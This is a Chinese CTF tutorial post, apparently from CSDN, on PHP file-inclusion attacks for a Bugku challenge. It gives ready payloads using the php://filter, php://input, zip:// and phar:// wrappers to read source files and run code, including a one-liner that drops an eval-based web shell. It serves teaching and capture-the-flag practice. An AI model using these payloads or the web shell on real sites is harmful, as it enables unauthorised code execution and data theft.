其他分享
首页 > 其他分享> > 二十三、bugku 文件包含

二十三、bugku 文件包含

作者:互联网

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,导致意外的文件泄漏甚至恶意代码注入。

?file=php://filter/read=convert.base64-encode/resource=index.php

php://input可以访问请求的原始数据的只读流。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post设置成文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。遇到file_get_contents()要想到用php://input绕过
poc1:

?file=php://input
[POST DATA] <?php phpinfo();?>

还可以上传一句话木马 poc2

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

php://filter可以获取指定文件源码。php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
poc1:

?file=php://filter/resource=xxx.php

poc2:

?file=php://filter/read=convert.base64-encode/resource=xxx.php

POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
poc:
zip://[压缩包绝对路径]#[压缩包内文件]

?file=zip://D:\zip.jpg%23phpinfo.txt

data:// 同样类似与php://input,
phar:// 有点类似zip://
phar://中相对路径和绝对路径都可以使用

标签:文件,bugku,二十三,zip,包含,file,input,php,压缩包
来源: https://blog.csdn.net/m0_53008479/article/details/120123837